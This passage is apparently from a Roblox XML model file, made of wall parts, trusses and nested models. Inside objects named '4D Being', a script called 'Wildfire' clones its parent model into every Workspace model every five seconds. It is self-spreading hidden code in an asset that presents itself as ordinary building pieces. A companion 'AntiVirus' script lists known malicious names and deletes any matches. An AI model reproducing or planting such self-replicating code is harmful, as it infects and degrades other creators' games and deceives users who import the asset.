							<float name="MaxVelocity">0</float>
							<string name="Name">4D Being</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="VelocityMotor" referent="RBX1023">
							<Properties>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<float name="CurrentAngle">0</float>
								<float name="DesiredAngle">0</float>
								<Ref name="Hole">null</Ref>
								<float name="MaxVelocity">0</float>
								<string name="Name">4D Being</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="VelocityMotor" referent="RBX1024">
								<Properties>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<float name="CurrentAngle">0</float>
									<float name="DesiredAngle">0</float>
									<Ref name="Hole">null</Ref>
									<float name="MaxVelocity">0</float>
									<string name="Name">4D Being</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX1025">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="Model" referent="RBX1026">
										<Properties>
											<CoordinateFrame name="ModelInPrimary">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<string name="Name">4D Being</string>
											<Ref name="PrimaryPart">null</Ref>
											<bool name="archivable">true</bool>
										</Properties>
										<Item class="Script" referent="RBX1027">
											<Properties>
												<bool name="Disabled">false</bool>
												<Content name="LinkedSource"><null></null></Content>
												<string name="Name">Wildfire</string>
												<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
												<bool name="archivable">true</bool>
											</Properties>
										</Item>
										<Item class="Script" referent="RBX1028">
											<Properties>
												<bool name="Disabled">false</bool>
												<Content name="LinkedSource"><null></null></Content>
												<string name="Name">AntiVirus</string>
												<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
												<bool name="archivable">true</bool>
											</Properties>
										</Item>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1029">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>91</X>
							<Y>4.5999999</Y>
							<Z>244</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.600000024</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>20</X>
							<Y>8.40000057</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1030">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>90</X>
							<Y>4.5999999</Y>
							<Z>223</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.600000024</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>22</X>
							<Y>8.40000057</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1031">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>80</X>
							<Y>4.5999999</Y>
							<Z>234.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.600000024</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>21</X>
							<Y>8.40000057</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1032">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="TrussPart" referent="RBX1033">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">5</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">5</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>126</X>
							<Y>7.4000001</Y>
							<Z>220</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">5</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">5</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Truss</string>
						<float name="Reflectance">0.800000012</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">5</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">5</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<Vector3 name="size">
							<X>2</X>
							<Y>14</Y>
							<Z>2</Z>
						</Vector3>
						<token name="style">0</token>
					</Properties>
				</Item>
				<Item class="TrussPart" referent="RBX1034">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">5</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">5</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>124</X>
							<Y>7.4000001</Y>
							<Z>220</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">5</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">5</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Truss</string>
						<float name="Reflectance">0.800000012</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">5</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">5</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<Vector3 name="size">
							<X>2</X>
							<Y>14</Y>
							<Z>2</Z>
						</Vector3>
						<token name="style">0</token>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX1035">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1036">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>4.00000095</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1037">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>4.00000095</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1038">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>4.00000095</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1039">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>4.00000095</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1040">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1041">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>6.40000105</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
